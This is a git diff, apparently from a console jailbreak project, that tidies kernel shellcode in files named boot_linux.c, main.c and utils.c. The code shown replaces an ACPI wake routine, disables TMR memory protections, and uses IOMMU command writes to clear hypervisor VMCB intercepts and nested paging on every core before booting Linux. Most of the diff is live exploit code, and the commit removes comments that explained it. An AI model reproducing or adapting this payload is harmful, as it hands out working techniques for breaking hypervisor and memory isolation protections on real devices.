some more tyding

shellcode_kernel/boot_linux.c

@@ -12,11 +12,11 @@
 #define TRANSMITTER_CONTROL_ENABLE 1
 #define TRANSMITTER_CONTROL_SET_VOLTAGE_AND_PREEMPASIS 11
 
-int (*transmitter_control)(int cmd, void *control) = NULL;  // Filled by main.c
-int (*mp3_initialize)(int vmid) = NULL;                     // Filled by main.c
-int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL; // Filled by main.c
+int (*transmitter_control)(int cmd, void *control) = NULL;
+int (*mp3_initialize)(int vmid) = NULL;
+int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL;
 
-uint64_t g_vbios; // Filled by main.c
+uint64_t g_vbios;
 
 typedef struct {
   uint8_t lanenum;
@@ -88,11 +88,10 @@ static int mp3_enable_output(int be, int mode) {
 
 static void patch_hv(void) {
   // Install identity map for HV
-  // HV Shellcode 1 it's updating CR3
-  uint64_t identity_cr3 = cave_hv_paging; // P, RW, US=0
+  uint64_t identity_cr3 = cave_hv_paging;
   uint64_t identity_pml4_0 =
       identity_cr3 +
-      0x1003ULL; // P, RW, US=0 - 512GB // offset 0 +0x1000 from PML4
+      0x1003ULL;
   uint64_t l40_l3_addr = PAGE_PA(identity_pml4_0); // addr PML4[0]
   uint64_t identity_pml40_l3[] = {
       0x0000000000000083, // P, RW, US=0 - 0 GB to 1 GB
@@ -161,8 +160,8 @@ void boot_linux(void) {
   // Copy bzImage and initrd into contiguous memory.
   memcpy(&info, (void *)args.linux_info_va, sizeof(struct linux_info));
 
-  uintptr_t bzimage = info.bzimage; // Kernel wrote the VA here
-  uintptr_t initrd = info.initrd;   // Kernel wrote the VA here
+  uintptr_t bzimage = info.bzimage;
+  uintptr_t initrd = info.initrd;
 
   info.bzimage = cave_bzImage;
   info.initrd = cave_bzImage + ALIGN_UP(info.bzimage_size, PAGE_SIZE);

shellcode_kernel/main.c

@@ -3,18 +3,12 @@
 #include "utils.h"
 #include <stdint.h>
 
-#define MSR_EFER 0xC0000080
+shellcode_kernel_args args = {0};
 
-shellcode_kernel_args args = {
-    .fw_version = 0xDEADBEEF, .fun_printf = 0x0, .vmcb = {0}};
-
-// We are being called instead of AcpiSetFirmwareWakingVector from
-// acpi_wakeup_machdep
+// We are being called instead of AcpiSetFirmwareWakingVector
 __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
                                                        uint64_t add2) {
-  // We will do main checks on .text only with a reference to .data to avoid
-  // fixed offsets first After NPTs are disabled, we can continue nornmally
-  // using all the variables in .data that are embedded in shellcode
+  // We will do main checks on .text only with a reference to .data
   volatile shellcode_kernel_args *args_ptr =
       (volatile shellcode_kernel_args
            *)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata
@@ -54,13 +48,11 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
     goto out;
   }
 
-  // Wait for completion
   ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();
 
   if (ret == 0) {
     puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb OK\n"});
 
-    // Allow R/W on HV and Kernel area
     if (tmr_disable(args_ptr->dmap_base)) {
       puts_uart(args_ptr->dmap_base, (char[]){"TMR X\n"});
       goto out;
@@ -68,7 +60,6 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
 
     puts_uart(args_ptr->dmap_base, (char[]){"TMR OK\n"});
 
-    // Patch HV
     patch_vmcb(args_ptr);
 
     puts_uart(args_ptr->dmap_base, (char[]){"VMCB OK\n"});
@@ -90,9 +81,6 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
     boot_linux();
     printf("Linux prepared OK\n");
 
-    // Activate HV UART - Not really needed but good for debugging
-    // *(uint32_t*)PHYS_TO_DMAP(args.hv_uart_override_pa) = 0x0;
-
     printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n",
            (uint64_t)vmmcall_dummy);
     printf("Good Bye VM :)\n");
@@ -120,32 +108,28 @@ void halt(void) { __asm__ __volatile__("hlt"); }
 // Submit a single 16-byte command and wait for completion
 __attribute__((noinline, optimize("O0"))) void
 iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) {
-  // Read the offset of current tail of command list
   uint64_t curr_tail = *(
       (uint64_t *)args_ptr->iommu_mmio_va +
       IOMMU_MMIO_CB_TAIL /
-          8); // Offset in IOMMU Command Buffer - Downscale the size of the ptr
+          8);
   uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) &
-                       IOMMU_CB_MASK; // Offset in IOMMU Command Buffer
+                       IOMMU_CB_MASK;
 
-  // We write the command in the current empty entry
   uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va +
-                         curr_tail / 8; // Downscale the size of the ptr
-  // Copy 0x10 bytes (CMD Size)
+                         curr_tail / 8;
+
   cmd_buffer[0] = cmd[0];
   cmd_buffer[1] = cmd[1];
 
-  __asm__ volatile("" : : : "memory"); // Prevent reordering
-  // Indicate the IOMMU that there is a CMD - Downscale the size of the ptr
+  __asm__ volatile("" : : : "memory");
+
   *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
 
-  // Wait CMD processing completion - Head will be the Tail
   while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
          *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8))
     ;
 }
 
-// Write 8 bytes to a physical address using IOMMU completion wait store
 __attribute__((noinline, optimize("O0"))) void
 iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
                 uint64_t val) {
@@ -161,21 +145,17 @@ __attribute__((noinline, optimize("O0"))) void
 patch_vmcb(volatile shellcode_kernel_args *args_ptr) {
   for (int i = 0; i < 16; i++) {
     uint64_t pa = args_ptr->vmcb[i];
-    // args_ptr->fun_printf("Patching core: %02d VMCB_PA: 0x%016lx\n", i,
-    // args_ptr->vmcb[i]);
+
     iommu_write8_pa(args_ptr, pa + 0x00,
-                    0x0000000000000000ULL); // Clear all intercepts (R/W) to
-                                            // CR0-CR15 and DR0-DR15
+                    0x0000000000000000ULL);
     iommu_write8_pa(args_ptr, pa + 0x08,
-                    0x0004000000000000ULL); // Clear all intercepts of except.
-                                            // vectors but CPUID
+                    0x0004000000000000ULL);
     iommu_write8_pa(args_ptr, pa + 0x10,
-                    0x000000000000000FULL); // Clear all except VMMCALL, VMLOAD,
-                                            // VMSAVE, VMRUN
+                    0x000000000000000FULL);
     iommu_write8_pa(args_ptr, pa + 0x58,
-                    0x0000000000000001ULL); // Guest ASID ... 1 ?
+                    0x0000000000000001ULL);
     iommu_write8_pa(args_ptr, pa + 0x90,
-                    0x0000000000000000ULL); // Disable NP_ENABLE
+                    0x0000000000000000ULL);
   }
 }
 
@@ -191,8 +171,6 @@ tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) {
   *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val;
 }
 
-// On 1.xx and 2.xx the HV is embedded in kernel area on TMR 16
-// On 3.xx and 4.xx there are multiple TMR protecting HV and Kernel
 __attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) {
   for (int i = 0; i < 24; i++) {
     if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {

shellcode_kernel/utils.c

@@ -16,20 +16,18 @@ void memcpy(void *dest, void *src, uint64_t len) {
 uint64_t read_cr3(void) {
   uint64_t cr3;
   __asm__ volatile("mov %%cr3, %0"
-                   : "=r"(cr3) // Output: move CR3 into the variable 'cr3'
-                   :           // No inputs
-                   :           // No clobbered registers
+                   : "=r"(cr3)
+                   :
+                   :
   );
   return cr3;
 }
 
-// for ring0
 uint64_t va_to_pa_kernel(uint64_t va) {
   uint64_t cr3 = read_cr3();
   return va_to_pa_custom(va, cr3);
 }
 
-// Source: PS5_kldload
 uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) {
   uint64_t table_phys = cr3_custom & 0xFFFFFFFF;